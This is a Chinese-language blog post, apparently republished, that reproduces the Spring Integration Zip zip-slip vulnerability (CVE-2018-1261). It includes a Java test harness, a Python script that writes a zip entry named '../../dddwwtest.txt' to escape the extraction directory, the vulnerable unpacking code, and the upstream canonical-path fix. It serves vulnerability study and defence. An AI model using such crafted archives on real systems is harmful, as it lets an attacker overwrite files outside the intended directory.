Spring Integration Zip不安全解压(CVE-2018-1261)漏洞复现
不敢说分析,还是太菜了,多学习。
文章来源: 猎户安全实验室
存在漏洞的源码下载地址:https://github.com/spring-projects/spring-integration-extensions/releases/tag/zip.v1.0.0.RELEASE
代码下载两眼相望了好久,第一次弄这些东西,踩了好久的坑,边踩边学习。
用的是IDEA来复现: 终端打开到zip的文件夹,然后./gradlew idea 。直接就能直接用IDEA打开了。
漏洞地址:org/springframework/integration/zip/transformer/UnZipTransformerTests.java
这里的都是官方例子。
仿造官方例子写个测试类。
@Test
public void unzipCve() throws IOException, InterruptedException { final Resource resource = this.resourceLoader.getResource("classpath:testzipdata/test1.zip");
final InputStream upZipFile = resource.getInputStream();
UnZipTransformer unZipTransformer = new UnZipTransformer();
unZipTransformer.setWorkDirectory(new File("/Users/yangxiaodi/java/CVE-2018-1261/spring-integration-extensions-zip.v1.0.0.RELEASE/spring-integration-zip/src/test/resources/testzipdata/"));
unZipTransformer.setZipResultType(ZipResultType.FILE);//设置类型(FILE, BYTE_ARRAY)
unZipTransformer.afterPropertiesSet(); Message<InputStream> message = MessageBuilder.withPayload(upZipFile).build(); unZipTransformer.transform(message);//漏洞入口。
System.out.println("over");
} }
这里的zip解压要用 到../../../z.txt格式的压缩文件,用python脚本生成一个。
import zipfile if __name__ == "__main__":
try:
binary = b'ddddsss'
zipFile = zipfile.ZipFile("test1.zip", "a", zipfile.ZIP_DEFLATED)
info = zipfile.ZipInfo("test1.zip")
zipFile.writestr("../../dddwwtest.txt", binary)
zipFile.close()
except IOError as e:
raise e
东西都准备妥当了,开始分析漏洞吧。
漏洞入口:
unZipTransformer.transform(message);
接着调用org/springframework/integration/zip/transformer/AbstractZipTransformer.java 下的doTransform()函数。
@Override
protected Object doTransform(Message<?> message) throws Exception {
Assert.notNull(message, "message must not be null");
final Object payload = message.getPayload();
Assert.notNull(payload, "payload must not be null"); return doZipTransform(message);//往下调用doZipTransform函数
}
在调用org/springframework/integration/zip/transformer/UnZipTransformer.java 下的doZipTransform() 函数。
漏洞就出现在doZipTransform()函数。具体代码位置:
ZipUtil.iterate(inputStream, new ZipEntryCallback() {//漏洞没过滤的地方
@Override
public void process(InputStream zipEntryInputStream, ZipEntry zipEntry) throws IOException {
final String zipEntryName = zipEntry.getName();
final long zipEntryTime = zipEntry.getTime();
final long zipEntryCompressedSize = zipEntry.getCompressedSize();
final String type = zipEntry.isDirectory() ? "directory" : "file";
if (logger.isInfoEnabled()) {
logger.info(String.format("Unpacking Zip Entry - Name: '%s',Time: '%s', " +
"Compressed Size: '%s', Type: '%s'",
zipEntryName, zipEntryTime, zipEntryCompressedSize, type));
}
if (ZipResultType.FILE.equals(zipResultType)) {
final File tempDir = new File(workDirectory, message.getHeaders().getId().toString());
tempDir.mkdirs(); //NOSONAR false positive,创建文件夹
final File destinationFile = new File(tempDir, zipEntryName);
if (zipEntry.isDirectory()) {
destinationFile.mkdirs(); //NOSONAR false positive
}
else {
SpringZipUtils.copy(zipEntryInputStream, destinationFile);
uncompressedData.put(zipEntryName, destinationFile);
}
}
else if (ZipResultType.BYTE_ARRAY.equals(zipResultType)) {
if (!zipEntry.isDirectory()) {
byte[] data = IOUtils.toByteArray(zipEntryInputStream);
uncompressedData.put(zipEntryName, data);
}
}
else {
throw new IllegalStateException("Unsupported zipResultType " + zipResultType);
}
}
调用ZipUtil.iterate()函数,然后利用回调函数ZipEntryCallback()去处理解压出来的内容。
这里的final String zipEntryName = zipEntry.getName(); //就是解压出来的文件内容,
在final File destinationFile = new File(tempDir, zipEntryName); //这里没任何过滤就进行文件路径和文件名的拼接。
然后下面两句代码把文件给复制过去。
SpringZipUtils.copy(zipEntryInputStream, destinationFile);
uncompressedData.put(zipEntryName, destinationFile);
这里有个坑,就是../../../z.txt 的文件,不能存在未创建的文件夹路径,例如: ../../zzz/z.txt ,在zzz文件夹不存在的情况下,会报错。
这里来看下他们官方的漏洞修复,增加了一个路径检测函数。官方地址
public File checkPath(final Message<?> message, final String zipEntryName) throws IOException {
final File tempDir = new File(workDirectory, message.getHeaders().getId().toString());
tempDir.mkdirs(); //NOSONAR false positive
final File destinationFile = new File(tempDir, zipEntryName);
/* If we see the relative traversal string of ".." we need to make sure
* that the outputdir + name doesn't leave the outputdir.
*/
if (!destinationFile.getCanonicalPath().startsWith(workDirectory.getCanonicalPath())) {
throw new ZipException("The file " + zipEntryName +
" is trying to leave the target output directory of " + workDirectory);
}
return destinationFile;
}
主要看这句话:
if (!destinationFile.getCanonicalPath().startsWith(workDirectory.getCanonicalPath()))
如果destinationFile.getCanonicalPath() 也就是当前的全文件路径,例如: /etc/s/../passwd ,会变成/etc/passwd ,
全文件路径中 开头不包含workDirectory.getCanonicalPath() 的路径,就报错。 例如:/etc/s/ ,而workDirectory是定义的路径。
综上就是路径不能往前跳转。
这种路径检测方法还是学到了,本以为会过滤“..” 这样的字符串,直接对比两次的路径也是个好方法
Spring Integration Zip不安全解压(CVE-2018-1261)漏洞复现的更多相关文章
- ref:Spring Integration Zip 不安全解压(CVE-2018-1261)漏洞分析
ref:https://mp.weixin.qq.com/s/SJPXdZWNKypvWmL-roIE0Q 0x00 漏洞概览 漏洞名称:Spring Integration Zip不安全解压 漏洞编 ...
- liunx之zip格式的解压命令
zip -r myfile.zip ./* 将当前目录下的所有文件和文件夹全部压缩成myfile.zip文件,-r表示递归压缩子目录下所有文件. 2.unzip unzip -o -d /home/s ...
- 正确的 zip 压缩与解压代码
网上流传的zip压缩与解压 的代码有非常大的问题 尽管使用了ant进行压缩与解压,可是任务的流程还是用的java.util.zip 的方式写的,我在使用的过程中遇到了压缩的文件夹结构有误,甚至出现不同 ...
- Android之zip文件加密解压及进度条的实现
zip文件的解压能够使用java的zip库,可是没有实现对加密文件的解压功能,这里能够使用zip4j来实现.详细能够參看该文<Android下zip压缩文件加密解密的完美解决方式>.该文件 ...
- java zip 压缩与解压
java zip 压缩与解压 import java.io.BufferedInputStream; import java.io.BufferedOutputStream; import java. ...
- 文件操作工具类: 文件/目录的创建、删除、移动、复制、zip压缩与解压.
FileOperationUtils.java package com.xnl.utils; import java.io.BufferedInputStream; import java.io.Bu ...
- Linux tar.gz 、zip、rar 解压 压缩命令
tar -c: 建立压缩档案 -x:解压 -t:查看内容 -r:向压缩归档文件末尾追加文件 -u:更新原压缩包中的文件 这五个是独立的命令,压缩解压都要用到其中一个,可以和别的命令连用但只能用其中一个 ...
- 「Python实用秘技01」复杂zip文件的解压
本文完整示例代码及文件已上传至我的Github仓库https://github.com/CNFeffery/PythonPracticalSkills 这是我的新系列文章「Python实用秘技」的第1 ...
- zip压缩,解压
//引用 System.IO.Compression.FileSystem.dll var basePath = AppDomain.CurrentDomain.BaseDirectory; Syst ...
随机推荐
- servler中表单加了enctype="multipart/form-data"属性后request就接收不到表单传过来的值了
在解决博问node.js接受参数的时候,发现当form中添加enctype:"multipart/form-data",后台确实获取不到数据,于是跑到百度上查了一下,终于明白为什么 ...
- vue+mui轮播图
mui的轮播图,如果图片是请求来的,直接在html中循环是不会动的. 需要请求完图片之后,在setTimeout方法里,使用slider()方法,这样才会动 而且mui的轮播图,有点坑的,需要重复最后 ...
- vba中变量作用域
参考:http://club.excelhome.net/thread-1237085-1-1.html 全局变量例子public 变量1 AS IntegerSub LLL()变量1 = 111 ...
- idea的maven项目不知道为啥下载不下来jar包,看本地仓库只是下载了一下xml文件,没有jar包问题
确认了私服上的jar包能直接下载下来,而且jar包是正常的:但是就是不能通过idea下载,通过idea下载到本地仓库的只生成了.lastUpdated文件,检查了setting.xml文件.网络,私服 ...
- 简单的dialog,类似alert弹框
function alertPop(content){ $.dialog({ title:"提示", width:400, height:100, padding:'5px', c ...
- matlab画无向图,基于坐标的无向图联系作者
%函数名netplot %使用方法输入请help netplot %无返回值 %函数只能处理无向图 %作者:tiandsp %最后修改: function netplot(A,flag) %调用方法输 ...
- 手机开发-Android
Android 语言.JAVA 开发环境.一是JDKjava开发工具包,二是eclipse开发工具IDE,三是Android SDK安卓软件开发包,四是ADT Android开发工具把JDK和Andr ...
- kepware http接口 c语言(libcrul)开发
列出所有变量 CURL *hnd = curl_easy_init(); curl_easy_setopt(hnd, CURLOPT_CUSTOMREQUEST, "GET"); ...
- spring-aop代理的生效原理
主要说下spring里aop的生效的原理吧,并不是讲底层的cglib和gdk动态代理. 还是老一套的分析流程,先找到了aop的标签的handler,然后看下在解析这个标签的时候,都干了些什么,其实主要 ...
- 转载:$(function() {}),即$(document).ready(function(),什么时候执行?以此为准,真理
转载:https://blog.csdn.net/Ideality_hunter/article/details/77935656 $(function() { //执行操作 }); $(functi ...